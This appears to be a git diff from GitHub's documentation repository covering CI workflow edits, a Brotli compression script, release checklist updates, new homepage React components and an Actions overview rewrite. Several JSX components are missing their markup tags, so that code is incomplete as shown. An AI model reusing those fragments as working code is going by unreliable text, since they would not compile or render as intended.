diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index db05b0a3d5..edbeb50b42 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -16,9 +16,11 @@ package-lock.json @github/docs-engineering package.json @github/docs-engineering # Localization +/.github/workflows/create-translation-batch-pr.yml @github/docs-localization /.github/workflows/crowdin.yml @github/docs-localization /crowdin*.yml @github/docs-engineering @github/docs-localization /translations/ @github/docs-engineering @github/docs-localization @github-actions +/translations/log/ @github/docs-localization # Site Policy /content/github/site-policy/ @github/site-policy-admins diff --git a/.github/actions-scripts/compress-large-files.js b/.github/actions-scripts/compress-large-files.js new file mode 100755 index 0000000000..40b535a967 --- /dev/null +++ b/.github/actions-scripts/compress-large-files.js @@ -0,0 +1,63 @@ +#!/usr/bin/env node + +import path from 'path' +import fs from 'fs' +import zlib from 'zlib' +import walk from 'walk-sync' + +const DRY_RUN = Boolean(JSON.parse(process.env.DRY_RUN || 'false')) +// Roughly 100KiB means about 25 files at the moment. +// Set this too low and the overheads will be more than the disk and +// network I/O that this intends to serve. +const MIN_GZIP_SIZE = Number(process.env.MIN_GZIP_SIZE || 1024 * 100) + +const BROTLI_OPTIONS = { + params: { + [zlib.constants.BROTLI_PARAM_MODE]: zlib.constants.BROTLI_MODE_TEXT, + [zlib.constants.BROTLI_PARAM_QUALITY]: 6, + }, +} +main() + +async function main() { + compressFromPattern('lib/**/static/**/*.json') +} + +async function compressFromPattern(pattern) { + const glob = pattern.includes('*') ? pattern.split(path.sep).slice(1).join(path.sep) : undefined + const walkOptions = { + globs: glob ? [glob] : undefined, + directories: false, + includeBasePath: true, + } + const root = path.resolve(pattern.includes('*') ? pattern.split(path.sep)[0] : pattern) + const filePaths = walk(root, walkOptions).filter((filePath) => { + return fs.statSync(filePath).size > MIN_GZIP_SIZE + }) + + if (!DRY_RUN) { + console.time(`Compress ${filePaths.length} files`) + const compressed = await Promise.all(filePaths.map(compressFile)) + console.timeEnd(`Compress ${filePaths.length} files`) + + console.time(`Delete ${compressed.length} files`) + compressed.forEach((filePath) => fs.unlinkSync(filePath)) + console.timeEnd(`Delete ${compressed.length} files`) + } +} + +function compressFile(filePath) { + return new Promise((resolve, reject) => { + const contentStream = fs.createReadStream(filePath) + const newFilePath = `${filePath}.br` + const writeStream = fs.createWriteStream(newFilePath) + const compressor = zlib.createBrotliCompress(BROTLI_OPTIONS) + contentStream + .pipe(compressor) + .pipe(writeStream) + .on('finish', (err) => { + if (err) return reject(err) + resolve(filePath) + }) + }) +} diff --git a/.github/actions-scripts/enterprise-server-issue-templates/release-issue.md b/.github/actions-scripts/enterprise-server-issue-templates/release-issue.md index f8731cd5e4..0ee2a720c9 100644 --- a/.github/actions-scripts/enterprise-server-issue-templates/release-issue.md +++ b/.github/actions-scripts/enterprise-server-issue-templates/release-issue.md @@ -12,13 +12,13 @@ If you aren't comfortable going through the steps alone, sync up with a docs eng - [ ] Increment the `next` variable above the `supported` array (e.g., new release number + `.1`). - [ ] Increment the `nextNext` variable above the `supported` array (e.g., new release number + `.2`). - [ ] Update the GHES dates file: - - [ ] Make sure you have a `.env` file at the root directory of your local checkout, and that it contains a PAT in the format of `GITHUB_TOKEN=`. + - [ ] Make sure you have a `.env` file at the root directory of your local checkout, and that it contains a PAT in the format of `GITHUB_TOKEN=` with `repo` scope. Ensure the PAT is SSO-enabled for the `github` org. - [ ] Run the script to update the dates file: ``` script/update-enterprise-dates.js ``` -- [ ] Create REST files based on previous version: +- [ ] Create REST files based on previous version. For example `script/enterprise-server-releases/create-rest-files.js --oldVersion enterprise-server@3.2 --newVersion enterprise-server@3.3`: ``` script/enterprise-server-releases/create-rest-files.js --oldVersion --newVersion @@ -33,7 +33,7 @@ If you aren't comfortable going through the steps alone, sync up with a docs eng ``` script/enterprise-server-releases/create-webhook-files.js --oldVersion --newVersion ``` -- [ ] Create a placeholder release notes file called `data/release-notes///PLACEHOLDER.yml`. For example `data/release-notes/3-1/PLACEHOLDER.yml`. Add the following placeholder content to the file: +- [ ] Create a placeholder release notes file called `data/release-notes///PLACEHOLDER.yml`. For example `data/release-notes/enterprise-server/3-1/PLACEHOLDER.yml`. Add the following placeholder content to the file: ``` date: '2021-05-04' @@ -55,6 +55,8 @@ If you aren't comfortable going through the steps alone, sync up with a docs eng script/enterprise-server-releases/release-banner.js --action create --version ``` +- [ ] Create a PR with the above changes. This PR is used to track all docs changes and smoke tests associated with the release. For example https://github.com/github/docs-internal/pull/22286. + ### When the `docs-internal` release branch is open - [ ] Add a label to the PR in this format: @@ -102,7 +104,7 @@ This file should be automatically updated, but you can also run `script/update-e Usually, we should smoke test any new GHES admin guides, any large features landing in this GHES version for the first time, and the REST and GraphQL API references. - [ ] Alert the Neon Squad (formally docs-ecosystem team) 1-2 days before the release to deploy to `github/github`. A PR should already be open in `github/github`, to change `published` to `true` in `app/api/description/config/releases/ghes-.yaml`. They will need to: - [ ] Get the required approval from `@github/ecosystem-api-reviewers` then deploy the PR to dotcom. This process generally takes 30-90 minutes. - - [ ] Once the PR merges, make sure that the auto-generated PR titled "Update OpenAPI Descriptions" in doc-internal contains both the derefrenced and decorated JSON files for the new GHES release. If everything looks good, merge the "Update OpenAPI Description" PR into the GHES release megabranch. + - [ ] Once the PR merges, make sure that the auto-generated PR titled "Update OpenAPI Descriptions" in doc-internal contains both the derefrenced and decorated JSON files for the new GHES release. If everything looks good, merge the "Update OpenAPI Description" PR into the GHES release megabranch. **Note:** Be careful about resolving the conflicts correctly—you may wish to delete the existing OpenAPI files for the release version from the megabranch, so there are no conflicts to resolve and to ensure that the incoming artifacts are the correct ones. - [ ] Add a blocking review to the auto-generated "Update OpenAPI Descriptions" PR in the public REST API description. (Remove this blocking review once the GHES release ships.) - [ ] [Freeze the repos](https://github.com/github/docs-content/blob/main/docs-content-docs/docs-content-workflows/freezing.md) at least 1-2 days before the release, and post an announcement in Slack so everybody knows. @@ -113,8 +115,9 @@ This file should be automatically updated, but you can also run `script/update-e Use admin permissions to ship the release branch with this failure. Make sure that the merge's commit title does not include anything like `[DO NOT MERGE]`, and remove all the branch's commit details from the merge's commit message except for the co-author list. - [ ] Do any required smoke tests listed in the opening post in the megabranch PR. -- [ ] Push the search index LFS objects for the public `github/docs` repo. The LFS objects were already being pushed for the internal repo after the `sync-english-index-for-` was added to the megabranch. To push the LFS objects, run the [search sync workflow](https://github.com/github/docs-internal/actions/workflows/sync-search-indices.yml) with the following inputs: +- [ ] Once smoke tests have passed, you can [unfreeze the repos](https://github.com/github/docs-content/blob/main/docs-content-docs/docs-content-workflows/freezing.md) and post an announcement in Slack. +- [ ] After unfreezing, push the search index LFS objects for the public `github/docs` repo. The LFS objects were already being pushed for the internal repo after the `sync-english-index-for-` was added to the megabranch. To push the LFS objects, run the [search sync workflow](https://github.com/github/docs-internal/actions/workflows/sync-search-indices.yml) with the following inputs: version: `enterprise-server@` language: `en` -- [ ] Once smoke tests have passed, you can [unfreeze the repos](https://github.com/github/docs-content/blob/main/docs-content-docs/docs-content-workflows/freezing.md) and post an announcement in Slack. -- [ ] After the release, in the `docs-content` repo, add the now live version number to the "Specific GHES version(s)" section in the following files: [`.github/ISSUE_TEMPLATE/release-tier-1-or-2-tracking.yml`](https://github.com/github/docs-content/blob/main/.github/ISSUE_TEMPLATE/release-tier-1-or-2-tracking.yml) and [`.github/ISSUE_TEMPLATE/release-tier-3-or-tier-4.yml`](https://github.com/github/docs-content/blob/main/.github/ISSUE_TEMPLATE/release-tier-3-or-tier-4.yml). When the PR is approved, merge it in. \ No newline at end of file +- [ ] After unfreezing, if there were significant or highlighted GraphQL changes in the release, consider manually running the [GraphQL update workflow](https://github.com/github/docs-internal/actions/workflows/update-graphql-files.yml) to update our GraphQL schemas. By default this workflow only runs once every 24 hours. +- [ ] After the release, in the `docs-content` repo, add the now live version number to the "Specific GHES version(s)" section in the following files: [`.github/ISSUE_TEMPLATE/release-tier-1-or-2-tracking.yml`](https://github.com/github/docs-content/blob/main/.github/ISSUE_TEMPLATE/release-tier-1-or-2-tracking.yml) and [`.github/ISSUE_TEMPLATE/release-tier-3-or-tier-4.yml`](https://github.com/github/docs-content/blob/main/.github/ISSUE_TEMPLATE/release-tier-3-or-tier-4.yml). When the PR is approved, merge it in. diff --git a/.github/workflows/browser-test.yml b/.github/workflows/browser-test.yml index b593c7870b..84628f35c5 100644 --- a/.github/workflows/browser-test.yml +++ b/.github/workflows/browser-test.yml @@ -10,6 +10,17 @@ on: branches: - main pull_request: + paths: + - '**.js' + - '**.mjs' + - '**.ts' + - '**.tsx' + - jest.config.js + - package.json + # In case something like eslint or tsc or prettier upgrades + - package-lock.json + # Ultimately, for debugging this workflow itself + - .github/workflows/browser-test.yml jobs: build: @@ -31,6 +42,11 @@ jobs: cache: npm - name: Install dependencies + env: + # This makes it so the puppeteer npm package doesn't bother + # to download a copy of chromium because it can use + # `$PUPPETEER_EXECUTABLE_PATH` from the ubuntu Action container. + PUPPETEER_SKIP_CHROMIUM_DOWNLOAD: true run: npm ci --include=optional - name: Run browser-test diff --git a/.github/workflows/create-translation-batch-pr.yml b/.github/workflows/create-translation-batch-pr.yml index a8c626bca2..cb8395c271 100644 --- a/.github/workflows/create-translation-batch-pr.yml +++ b/.github/workflows/create-translation-batch-pr.yml @@ -25,14 +25,22 @@ jobs: max-parallel: 1 matrix: include: - - language: pt-BR - language_code: pt - - language: zh-CN - language_code: cn - - language: ja-JP - language_code: ja - - language: es-ES - language_code: es + - language: pt + crowdin_language: pt-BR + language_dir: translations/pt-BR + + - language: es + crowdin_language: es-ES + language_dir: translations/es-ES + + - language: cn + crowdin_language: zh-CN + language_dir: translations/zh-CN + + - language_dir: translations/ja-JP + crowdin_language: ja + language: ja + steps: - name: Set branch name id: set-branch @@ -72,11 +80,11 @@ jobs: - name: Remove all language translations run: | - git rm -rf --quiet translations/${{ matrix.language }}/content - git rm -rf --quiet translations/${{ matrix.language }}/data + git rm -rf --quiet ${{ matrix.language_dir }}/content + git rm -rf --quiet ${{ matrix.language_dir }}/data - name: Download crowdin translations - run: crowdin download --no-progress --no-colors --verbose --debug '--branch=main' '--config=crowdin.yml' --language=${{ matrix.language }} + run: crowdin download --no-progress --no-colors --verbose --debug '--branch=main' '--config=crowdin.yml' --language=${{ matrix.crowdin_language }} env: # This is a numeric id, not to be confused with Crowdin API v1 "project identifier" string # See "API v2" on https://crowdin.com/project//settings#api @@ -89,7 +97,7 @@ jobs: - name: Commit crowdin sync run: | - git add translations/${{ matrix.language }} + git add ${{ matrix.language_dir }} git commit -m "Add crowdin translations" || echo "Nothing to commit" - name: 'Setup node' @@ -103,44 +111,44 @@ jobs: - name: Homogenize frontmatter run: | node script/i18n/homogenize-frontmatter.js - git add translations/${{ matrix.language }} && git commit -m "Run script/i18n/homogenize-frontmatter.js" || echo "Nothing to commit" + git add ${{ matrix.language_dir }} && git commit -m "Run script/i18n/homogenize-frontmatter.js" || echo "Nothing to commit" # step 7 in docs-engineering/crowdin.md - name: Fix translation errors run: | node script/i18n/fix-translation-errors.js - git add translations/${{ matrix.language }} && git commit -m "Run script/i18n/fix-translation-errors.js" || echo "Nothing to commit" + git add ${{ matrix.language_dir }} && git commit -m "Run script/i18n/fix-translation-errors.js" || echo "Nothing to commit" # step 8a in docs-engineering/crowdin.md - name: Check parsing run: | node script/i18n/lint-translation-files.js --check parsing | tee -a /tmp/batch.log | cat - git add translations/${{ matrix.language }} && git commit -m "Run script/i18n/lint-translation-files.js --check parsing" || echo "Nothing to commit" + git add ${{ matrix.language_dir }} && git commit -m "Run script/i18n/lint-translation-files.js --check parsing" || echo "Nothing to commit" # step 8b in docs-engineering/crowdin.md - name: Check rendering run: | node script/i18n/lint-translation-files.js --check rendering | tee -a /tmp/batch.log | cat - git add translations/${{ matrix.language }} && git commit -m "Run script/i18n/lint-translation-files.js --check rendering" || echo "Nothing to commit" + git add ${{ matrix.language_dir }} && git commit -m "Run script/i18n/lint-translation-files.js --check rendering" || echo "Nothing to commit" - name: Reset files with broken liquid tags run: | - node script/i18n/reset-files-with-broken-liquid-tags.js --language=${{ matrix.language_code }} | tee -a /tmp/batch.log | cat - git add translations/${{ matrix.language }} && git commit -m "run script/i18n/reset-files-with-broken-liquid-tags.js --language=${{ matrix.language_code }}" || echo "Nothing to commit" + node script/i18n/reset-files-with-broken-liquid-tags.js --language=${{ matrix.language }} | tee -a /tmp/batch.log | cat + git add ${{ matrix.language_dir }} && git commit -m "run script/i18n/reset-files-with-broken-liquid-tags.js --language=${{ matrix.language }}" || echo "Nothing to commit" # step 5 in docs-engineering/crowdin.md using script from docs-internal#22709 - name: Reset known broken files run: | node script/i18n/reset-known-broken-translation-files.js | tee -a /tmp/batch.log | cat - git add translations/${{ matrix.language }} && git commit -m "run script/i18n/reset-known-broken-translation-files.js" || echo "Nothing to commit" + git add ${{ matrix.language_dir }} && git commit -m "run script/i18n/reset-known-broken-translation-files.js" || echo "Nothing to commit" env: GITHUB_TOKEN: ${{ secrets.DOCUBOT_REPO_PAT }} - name: Check in CSV report run: | mkdir -p translations/log - csvFile=translations/log/${{ matrix.language_code }}-resets.csv - script/i18n/report-reset-files.js --report-type=csv --language=${{ matrix.language_code }} --log-file=/tmp/batch.log > $csvFile + csvFile=translations/log/${{ matrix.language }}-resets.csv + script/i18n/report-reset-files.js --report-type=csv --language=${{ matrix.language }} --log-file=/tmp/batch.log > $csvFile git add -f $csvFile && git commit -m "Check in ${{ matrix.language }} CSV report" || echo "Nothing to commit" - name: Create Pull Request @@ -149,7 +157,7 @@ jobs: # We'll try to create the pull request based on the changes we pushed up in the branch. # If there are actually no differences between the branch and `main`, we'll delete it. run: | - script/i18n/report-reset-files.js --report-type=pull-request-body --language=${{ matrix.language_code }} --log-file=/tmp/batch.log > /tmp/pr-body.txt + script/i18n/report-reset-files.js --report-type=pull-request-body --language=${{ matrix.language }} --log-file=/tmp/batch.log > /tmp/pr-body.txt git push origin ${{ steps.set-branch.outputs.BRANCH_NAME }} gh pr create --title "New translation batch for ${{ matrix.language }}" \ --base=main \ diff --git a/.github/workflows/first-responder-docs-content.yml b/.github/workflows/first-responder-docs-content.yml index 49ebdeb038..7c64bcf699 100644 --- a/.github/workflows/first-responder-docs-content.yml +++ b/.github/workflows/first-responder-docs-content.yml @@ -40,7 +40,7 @@ jobs: ) const logins = teamMembers.data.map(member => member.login) // ignore PRs opened by docs bot accounts - logins.push('Octomerger', 'octoglot') + logins.push('Octomerger', 'octoglot', 'docubot') if (logins.some(login => login === updatedIssueInformation.data.user.login)) { console.log(`This issue or pull request was authored by a member of the github/docs team.`) return 'true' diff --git a/.github/workflows/site-policy-sync.yml b/.github/workflows/site-policy-sync.yml index 84e4442605..3108ee363e 100644 --- a/.github/workflows/site-policy-sync.yml +++ b/.github/workflows/site-policy-sync.yml @@ -37,6 +37,8 @@ jobs: path: public-repo - name: Commits internal policies to copy of public repo with descriptive message from triggering PR title + env: + PR_TITLE: ${{ github.event.pull_request.title }} run: | cd public-repo git config --local user.name 'site-policy-bot' @@ -46,7 +48,6 @@ jobs: git status git checkout -b automated-sync-$GITHUB_RUN_ID git add . - PR_TITLE=${{ github.event.pull_request.title }} echo PR_TITLE: $PR_TITLE [[ ! -z $PR_TITLE ]] && DESCRIPTION="${PR_TITLE}" || DESCRIPTION="Update manually triggered by workflow" echo "DESCRIPTION=$DESCRIPTION" >> $GITHUB_ENV diff --git a/.github/workflows/staging-build-pr.yml b/.github/workflows/staging-build-pr.yml index 5233e85ffe..de5aa31d01 100644 --- a/.github/workflows/staging-build-pr.yml +++ b/.github/workflows/staging-build-pr.yml @@ -30,15 +30,6 @@ concurrency: cancel-in-progress: true jobs: - debug: - runs-on: ubuntu-latest - steps: - - name: Dump full context for debugging - run: | - cat << EOF - ${{ toJSON(github) }} - EOF - build-pr: if: ${{ github.repository == 'github/docs-internal' || github.repository == 'github/docs' }} runs-on: ${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }} @@ -117,11 +108,43 @@ jobs: run: npm set-script heroku-postbuild "echo 'Application was pre-built!'" - name: Delete heavy things we won't need deployed + if: ${{ github.repository == 'github/docs-internal' }} run: | + # The dereferenced file is not used in runtime once the # decorated file has been created from it. rm -fr lib/rest/static/dereferenced + # Translations are never tested in Staging builds + # but let's keep the empty directory. + rm -fr translations + mkdir translations + + # Delete all the big search indexes that are NOT English (`*-en-*`) + pushd lib/search/indexes + ls | grep -v '\-en\-' | xargs rm + popd + + # Note! Some day it would be nice to be able to delete + # all the heavy assets because they bloat the tarball. + # But it's not obvious how to test it then. For now, we'll have + # to accept that every staging build has a copy of the images. + + # The assumption here is that a staging build will not + # need these legacy redirects. Only the redirects from + # front-matter will be at play. + # These static redirects json files are notoriously large + # and they make the tarball unnecessarily large. + echo '[]' > lib/redirects/static/archived-frontmatter-fallbacks.json + echo '{}' > lib/redirects/static/developer.json + echo '{}' > lib/redirects/static/archived-redirects-from-213-to-217.json + + # This will turn every `lib/**/static/*.json` into + # an equivalent `lib/**/static/*.json.br` file. + # Once the server starts, it'll know to fall back to reading + # the `.br` equivalent if the `.json` file isn't present. + node .github/actions-scripts/compress-large-files.js + - name: Create an archive # Only bother if this is actually a pull request if: ${{ github.event.pull_request.number }} diff --git a/.github/workflows/yml-lint.yml b/.github/workflows/yml-lint.yml deleted file mode 100644 index 0964979042..0000000000 --- a/.github/workflows/yml-lint.yml +++ /dev/null @@ -1,37 +0,0 @@ -name: Lint Yaml - -# **What it does**: This lints our yaml files in the docs repository. -# **Why we have it**: We want some level of consistent formatting for YAML files. -# **Who does it impact**: Docs engineering, docs content. - -on: - workflow_dispatch: - push: - branches: - - main - paths: - - '**/*.yml' - - '**/*.yaml' - pull_request: - paths: - - '**/*.yml' - - '**/*.yaml' - -jobs: - lint: - runs-on: ubuntu-latest - steps: - - name: Check out repo - uses: actions/checkout@1e204e9a9253d643386038d443f96446fa156a97 - - - name: Setup node - uses: actions/setup-node@270253e841af726300e85d718a5f606959b2903c - with: - node-version: 16.13.x - cache: npm - - - name: Install dependencies - run: npm ci - - - name: Run linter - run: npx prettier -c "**/*.{yml,yaml}" diff --git a/assets/images/help/codespaces/install-custom-dotfiles.png b/assets/images/help/codespaces/install-custom-dotfiles.png new file mode 100644 index 0000000000..9b675d5195 Binary files /dev/null and b/assets/images/help/codespaces/install-custom-dotfiles.png differ diff --git a/assets/images/help/codespaces/install-dotfiles.png b/assets/images/help/codespaces/install-dotfiles.png deleted file mode 100644 index 6d03cc3e09..0000000000 Binary files a/assets/images/help/codespaces/install-dotfiles.png and /dev/null differ diff --git a/assets/images/help/codespaces/select-dotfiles-repo.png b/assets/images/help/codespaces/select-dotfiles-repo.png new file mode 100644 index 0000000000..7f83132861 Binary files /dev/null and b/assets/images/help/codespaces/select-dotfiles-repo.png differ diff --git a/assets/images/help/images/overview-actions-event.png b/assets/images/help/images/overview-actions-event.png index 2f94aed8bf..8aa97abc5d 100644 Binary files a/assets/images/help/images/overview-actions-event.png and b/assets/images/help/images/overview-actions-event.png differ diff --git a/assets/images/help/images/overview-actions-simple.png b/assets/images/help/images/overview-actions-simple.png index 00fbda89ae..b95e603ac6 100644 Binary files a/assets/images/help/images/overview-actions-simple.png and b/assets/images/help/images/overview-actions-simple.png differ diff --git a/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png b/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png new file mode 100644 index 0000000000..c651d72f9a Binary files /dev/null and b/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png differ diff --git a/assets/images/help/repository/allow-disable-forking-fpt.png b/assets/images/help/repository/allow-disable-forking-fpt.png new file mode 100644 index 0000000000..59a3e2efc6 Binary files /dev/null and b/assets/images/help/repository/allow-disable-forking-fpt.png differ diff --git a/assets/images/help/support/request-callback.png b/assets/images/help/support/request-callback.png new file mode 100644 index 0000000000..047399d63e Binary files /dev/null and b/assets/images/help/support/request-callback.png differ diff --git a/components/Search.module.scss b/components/Search.module.scss index 50644b1fe8..47d7d749af 100644 --- a/components/Search.module.scss +++ b/components/Search.module.scss @@ -1,14 +1,12 @@ -/* TODO remove mark styling if https://github.com/primer/css/pull/1756 ships */ .resultsContainer mark { + font-weight: bolder; background: none; color: inherit; } .searchResultContent mark { - color: var(--color-fg-default); - background-color: var(--color-attention-subtle); + font-weight: bolder; } -/* end TODO */ .searchResultContent { max-height: 4rem; diff --git a/components/article/ArticlePage.tsx b/components/article/ArticlePage.tsx index 086f4cba2a..4b34b81442 100644 --- a/components/article/ArticlePage.tsx +++ b/components/article/ArticlePage.tsx @@ -69,7 +69,7 @@ export const ArticlePage = () => { className={item.platform} sx={{ listStyle: 'none', padding: '2px' }} > -
+
{item.items && item.items.length > 0 ? (
    {item.items.map(renderTocItem)}
diff --git a/components/homepage/HomePageHero.tsx b/components/homepage/HomePageHero.tsx new file mode 100644 index 0000000000..09cfc5b6cb --- /dev/null +++ b/components/homepage/HomePageHero.tsx @@ -0,0 +1,32 @@ +import { Search } from 'components/Search' +import { OctocatHeader } from 'components/landing/OctocatHeader' +import { useTranslation } from 'components/hooks/useTranslation' + +export const HomePageHero = () => { + const { t } = useTranslation(['search']) + + return ( +
+ {/* eslint-disable-next-line jsx-a11y/no-autofocus */} + + {({ SearchInput, SearchResults }) => { + return ( +
+
+
+ +
+
+

{t('search:need_help')}

+ {SearchInput} +
+
+ +
{SearchResults}
+
+ ) + }} + +
+ ) +} diff --git a/components/homepage/ProductSelectionCard.tsx b/components/homepage/ProductSelectionCard.tsx new file mode 100644 index 0000000000..367ba9364a --- /dev/null +++ b/components/homepage/ProductSelectionCard.tsx @@ -0,0 +1,86 @@ +import { ProductT, ProductGroupT, useMainContext } from 'components/context/MainContext' + +import React from 'react' +import { useRouter } from 'next/router' +import { useVersion } from 'components/hooks/useVersion' +import { Link } from 'components/Link' +import * as Octicons from '@primer/octicons-react' + +type ProductSelectionCardProps = { + name: string + group: ProductGroupT +} + +export const ProductSelectionCard = ({ name, group }: ProductSelectionCardProps) => { + const router = useRouter() + const { currentVersion } = useVersion() + const { isFPT } = useMainContext() + + function href(product: ProductT) { + return `${!product.external ? `/${router.locale}` : ''}${ + product.versions?.includes(currentVersion) && !isFPT + ? `/${currentVersion}/${product.id}` + : product.href + }` + } + + const groupIcon = { + height: '22px', + } + + function showProduct(product: ProductT) { + return isFPT || product.versions?.includes(currentVersion) || product.external + } + + function icon(group: ProductGroupT) { + if (group.icon) { + return ( +
+ {group.name} +
+ ) + } else if (group.octicon) { + const octicon: React.FunctionComponent = ( + Octicons as { [name: string]: React.FunctionComponent } + )[group.octicon] as React.FunctionComponent + + return ( +
+ {React.createElement(octicon, groupIcon as React.Attributes, null)} +
+ ) + } + } + + return ( +
+
+
+ {icon(group)} + +
+

{name}

+
+
+ +
+
    + {group.children.map((product) => { + if (!showProduct(product)) { + return null + } + + return ( +
  • + + {product.name} + +
    • + ) + })} +
+
+
+
+ ) +} diff --git a/components/homepage/ProductSelections.tsx b/components/homepage/ProductSelections.tsx new file mode 100644 index 0000000000..2aa0d014a2 --- /dev/null +++ b/components/homepage/ProductSelections.tsx @@ -0,0 +1,20 @@ +import { useMainContext } from 'components/context/MainContext' + +import React from 'react' +import { ProductSelectionCard } from './ProductSelectionCard' + +export const ProductSelections = () => { + const { productGroups } = useMainContext() + + return ( +
+
+
+ {productGroups.map((group) => { + return + })} +
+
+
+ ) +} diff --git a/components/landing/ArticleList.tsx b/components/landing/ArticleList.tsx index 95c2a94937..a524c2e9fe 100644 --- a/components/landing/ArticleList.tsx +++ b/components/landing/ArticleList.tsx @@ -1,5 +1,6 @@ import cx from 'classnames' import dayjs from 'dayjs' +import { ActionList } from '@primer/components' import { Link } from 'components/Link' import { ArrowRightIcon } from '@primer/octicons-react' @@ -27,45 +28,59 @@ export const ArticleList = ({ title, viewAllHref, articles }: ArticleListPropsT)
)} -
    - {articles.map((link) => { - return ( -
  • - - - - } + { + return { + renderItem: () => ( + - {!link.hideIntro && link.intro && ( - - - - )} - {link.date && ( - - )} - -
    • - ) + + + + } + > + {!link.hideIntro && link.intro && ( + + + + )} + {link.date && ( + + )} + + + ), + } })} -
+ > ) } diff --git a/components/landing/ProductArticlesList.tsx b/components/landing/ProductArticlesList.tsx index d45b530e4a..ccf43e1985 100644 --- a/components/landing/ProductArticlesList.tsx +++ b/components/landing/ProductArticlesList.tsx @@ -2,11 +2,12 @@ import cx from 'classnames' import { useState } from 'react' import { ChevronDownIcon } from '@primer/octicons-react' +import { ActionList } from '@primer/components' import { ProductTreeNode, useMainContext } from 'components/context/MainContext' import { Link } from 'components/Link' -const maxArticles = 10 +const maxArticles = 5 export const ProductArticlesList = () => { const { currentProductTree } = useMainContext() @@ -39,27 +40,35 @@ const ProductTreeNodeList = ({ treeNode }: { treeNode: ProductTreeNode }) => { -
    - {treeNode.childPages.map((childNode, index) => { - if (treeNode.childPages[0].page.documentType === 'mapTopic' && childNode.page.hidden) { - return null + { + return { + renderItem: () => ( + = maxArticles ? 'd-none' : null)} + sx={{ + borderRadius: 0, + ':hover': { + borderRadius: 0, + }, + }} + > + + {childNode.page.title} + {childNode.page.documentType === 'mapTopic' ? ( + +  • {childNode.childPages.length} articles + + ) : null} + + + ), } - - return ( -
  • = maxArticles ? 'd-none' : null)} - > - {childNode.page.title} - {childNode.page.documentType === 'mapTopic' ? ( - -  • {childNode.childPages.length} articles - - ) : null} -
    • - ) })} -
+ > {!isShowingMore && treeNode.childPages.length > maxArticles && (
-

{dayjs(patch.date).format('MMMM, DD, YYYY')}

+

{dayjs(patch.date).format('MMMM DD, YYYY')}

{patch.version !== latestPatch && currentVersion.currentRelease === latestRelease && (

diff --git a/content/README.md b/content/README.md index b00d0891ab..455984fc04 100644 --- a/content/README.md +++ b/content/README.md @@ -34,7 +34,6 @@ See the [contributing docs](/CONTRIBUTING.md) for general information about work - [Escaping single quotes](#escaping-single-quotes) - [Autogenerated mini TOCs](#autogenerated-mini-tocs) - [Versioning](#versioning) - - [Free-pro-team vs. GitHub.com versioning](#free-pro-team-vs-githubcom-versioning) - [Filenames](#filenames) - [Whitespace control](#whitespace-control) - [Links and image paths](#links-and-image-paths) @@ -319,11 +318,7 @@ A content file can have **two** types of versioning: * Liquid statements in content (**optional**) * Conditionally render content depending on the current version being viewed. See [contributing/liquid-helpers](../contributing/liquid-helpers.md) for more info. Note Liquid conditionals can also appear in `data` and `include` files. -### Free-pro-team vs. GitHub.com versioning - -As of early 2021, the `free-pro-team@latest` version is **only** supported in content files (in both frontmatter and Liquid versioning) and throughout the docs site backend. It is **not** user facing. A helper function called `lib/remove-fpt-from-path.js` removes the version from URLs. Users now select `GitHub.com` in the Article Versions dropdown instead of `Free, Pro, Team`. - -The convenience function allows us to continue supporting a consistent versioning structure under-the-hood while not displaying plan information to users that may be potentially confusing. +**Note**: As of early 2021, the `free-pro-team@latest` version is not included URLs. A helper function called `lib/remove-fpt-from-path.js` removes the version from URLs. ## Filenames diff --git a/content/actions/learn-github-actions/understanding-github-actions.md b/content/actions/learn-github-actions/understanding-github-actions.md index 9613ae2f2f..90de4101cd 100644 --- a/content/actions/learn-github-actions/understanding-github-actions.md +++ b/content/actions/learn-github-actions/understanding-github-actions.md @@ -23,48 +23,55 @@ topics: ## Overview -{% data reusables.actions.about-actions %} {% data variables.product.prodname_actions %} are event-driven, meaning that you can run a series of commands after a specified event has occurred. For example, every time someone creates a pull request for a repository, you can automatically run a command that executes a software testing script. +{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. -This diagram demonstrates how you can use {% data variables.product.prodname_actions %} to automatically run your software testing scripts. An event automatically triggers the _workflow_, which contains a _job_. The job then uses _steps_ to control the order in which _actions_ are run. These actions are the commands that automate your software testing. +{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. -![Workflow overview](/assets/images/help/images/overview-actions-simple.png) +{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. ## The components of {% data variables.product.prodname_actions %} -Below is a list of the multiple {% data variables.product.prodname_actions %} components that work together to run jobs. You can see how these components interact with each other. +You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more _jobs_ which can run in sequential order or in parallel. Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify in your workflow. -![Component and service overview](/assets/images/help/images/overview-actions-design.png) +![Workflow overview](/assets/images/help/images/overview-actions-simple.png) ### Workflows -The workflow is an automated procedure that you add to your repository. Workflows are made up of one or more jobs and can be scheduled or triggered by an event. The workflow can be used to build, test, package, release, or deploy a project on {% data variables.product.prodname_dotcom %}. {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} +A workflow is a configurable automated process that will run one or more jobs. Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule. + +Your repository can have multiple workflows in a repository, each of which can perform a different set of steps. For example, you can have one workflow to build and test pull requests, another workflow to deploy your application every time a release is created, and still another workflow that adds a label every time someone opens a new issue. + +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} ### Events -An event is a specific activity that triggers a workflow. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone 